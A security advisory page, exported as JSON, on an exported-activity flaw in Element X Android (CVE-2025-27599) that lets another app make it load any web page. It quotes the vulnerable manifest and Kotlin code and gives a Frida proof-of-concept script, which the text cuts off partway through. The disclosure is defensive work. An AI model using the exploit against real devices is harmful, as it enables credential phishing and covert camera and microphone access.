{"id":23867,"date":"2025-04-29T16:09:44","date_gmt":"2025-04-29T14:09:44","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2025-0010\/"},"modified":"2025-05-09T10:40:39","modified_gmt":"2025-05-09T08:40:39","slug":"usd-2025-0010","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0010\/","title":{"rendered":"usd-2025-0010"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" hover_enabled=\"0\" global_colors_info=\"{}\" theme_builder_area=\"post_content\" sticky_enabled=\"0\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" theme_builder_area=\"post_content\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2025-0010 | Element X Android &lt;= 25.04.1 - Vulnerable to loading malicious web pages via received intent<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: Element X Android<br \/><strong>Affected Version<\/strong>: &lt;= 25.04.1<br \/><strong>Vulnerability Type<\/strong>: Improper Export of Android Application Components (CWE-926)<br \/><strong>Security Risk<\/strong>: High<br \/><strong>Vendor<\/strong>: Element.io<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/github.com\/element-hq\/element-x-android\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/element-hq\/element-x-android<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: CVE-2025-27599<br \/><strong>CVE Link<\/strong>: <a href=\"https:\/\/github.com\/element-hq\/element-x-android\/security\/advisories\/GHSA-m5px-pwq3-4p5m\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/element-hq\/element-x-android\/security\/advisories\/GHSA-m5px-pwq3-4p5m<\/a><br \/><strong>Advisory ID<\/strong>: usd-2025-0010<\/p>\n<h3>Description<\/h3>\n<p>It is possible to call the exported <strong>ElementCallActivity<\/strong> and cause it to load a malicious webpage.<\/p>\n<p>The prerequisite for this is that the attacker is present on the device and can send an intent to the vulnerable activity. This can be done, for example, through another app on the smartphone that does not require any additional system permissions. Since the necessary code to call the exported activity is not inherently malicious, it is entirely possible to distribute such apps via the app store.<\/p>\n<p>A full-fledged phishing attack can be carried out via the content of the webpage opened through the intent in order to steal users' login credentials. Additionally, the camera and microphone can be accessed, as these permissions can either be granted by the app itself or have already been granted. This allows the identification of app users and enables the recording of both video and audio.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The vulnerability arises because the <strong>ElementCallActivity<\/strong> is exported. This can be seen in the file <strong>features\/call\/impl\/src\/main\/AndroidManifest.xml<\/strong>:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span>[...]\n<span class=\"nt\" style=\"background: #263238;color: #ff5370\">&lt;activity<\/span>\n<span class=\"hll\" style=\"background: #263238;background-color: #2c3b41\"><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">android:name=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\".ui.ElementCallActivity\"<\/span>\n<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">android:configChanges=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"screenSize|smallestScreenSize|screenLayout|orientation|keyboardHidden|keyboard|navigation|uiMode\"<\/span>\n<span class=\"hll\" style=\"background: #263238;background-color: #2c3b41\"><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">android:exported=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"true\"<\/span>\n<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">android:label=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"@string\/element_call\"<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">android:launchMode=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"singleTask\"<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">android:supportsPictureInPicture=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"true\"<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">android:taskAffinity=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"io.element.android.features.call\"<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">&gt;<\/span>\n<span class=\"nt\" style=\"background: #263238;color: #ff5370\">&lt;\/activity&gt;<\/span>\n[...]\n<\/pre>\n<\/div>\n<p>On the other hand, the Activity allows the launching of an internal WebView within the app's context via a specific Intent, which follows the provided URL. This URL is not validated beforehand, meaning any conceivable address can be accessed. The following excerpt shows this: <strong>features\/call\/impl\/src\/main\/kotlin\/io\/element\/android\/features\/call\/impl\/ui\/ElementCallActivity.kt<\/strong>:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">...<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">]<\/span>\n<span class=\"kd\" style=\"background: #263238;color: #bb80b3\">private<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">fun<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">setCallType<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">intent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Intent?)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"hll\" style=\"background: #263238;background-color: #2c3b41\"><span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">val<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">callType<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">intent<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">?.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">let<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<\/span><span class=\"hll\" style=\"background: #263238;background-color: #2c3b41\"><span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">IntentCompat<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">getParcelableExtra<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">intent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">DefaultElementCallEntryPoint<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">EXTRA_CALL_TYPE<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">CallType<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">::<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">class<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">java<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span>\n<\/span><span class=\"hll\" style=\"background: #263238;background-color: #2c3b41\"><span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">?:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">intent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">dataString<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">?.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">let<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">::<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">parseUrl<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">?.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">let<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">::<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">ExternalUrl<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span>\n<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">val<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">currentCallType<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">webViewTarget<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">value<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">if<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">currentCallType<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">==<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">null<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">if<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">callType<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">==<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">null<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Timber<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">tag<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">loggerTag<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">).<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">d<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"Re-opened the activity but we have no url to load or a cached one, finish the activity\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">finish<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">else<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Timber<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">tag<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">loggerTag<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">).<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">d<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"Set the call type and create the presenter\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span>\n<span class=\"hll\" style=\"background: #263238;background-color: #2c3b41\"><span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">webViewTarget<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">callType<\/span>\n<\/span><span class=\"hll\" style=\"background: #263238;background-color: #2c3b41\"><span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">presenter<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">presenterFactory<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">create<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">callType<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">this<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span>\n<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">else<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">if<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">callType<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">==<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">null<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Timber<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">tag<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">loggerTag<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">).<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">d<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"Coming back from notification, do nothing\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">else<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">if<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">callType<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">!=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">currentCallType<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">...<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">]<\/span>\n<\/pre>\n<\/div>\n<p>To reproduce the vulnerability, it is necessary to send a customized Intent to the vulnerable ElementX Activity. This can be tested from an app that includes the class <strong>io.element.android.features.call.api.CallType$ExternalUrl<\/strong> using the following Frida script. In a real attacker scenario, this would be a malicious app on the device that also contains this class.<\/p>\n<p>The following script creates the specific Intent and sends it to the ElementX app, ensuring it processes the Intent correctly. As a result, the ElementX app is forced to establish a connection to http:\/\/localhost:8080\/login.html<a>.<\/a> However, any other web server with a valid TLS certificate could also be used.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Call the script with an app, which contains the needed classes e.g. the ElementX App self or another app with the specific classes<\/span>\n<span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ frida -U -f io.element.android.x -l followingScript.js<\/span>\n\n<span class=\"nx\" style=\"background: #263238;color: #eff\">Java<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">perform<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">function<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">function<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">waitForContext<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">try<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">context<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">Java<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">use<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"android.app.ActivityThread\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">app<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">context<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">currentApplication<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">if<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">app<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">!==<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">null<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">context<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">app<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">getApplicationContext<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">log<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Application context loaded:\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">context<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">createIntent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">else<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">log<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Waiting for application context...\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">setTimeout<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">waitForContext<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mf\" style=\"background: #263238;color: #f78c6c\">100<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Retry in 100ms<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">catch<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">e<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">log<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Error accessing context, retrying...\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">e<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">setTimeout<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">waitForContext<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span 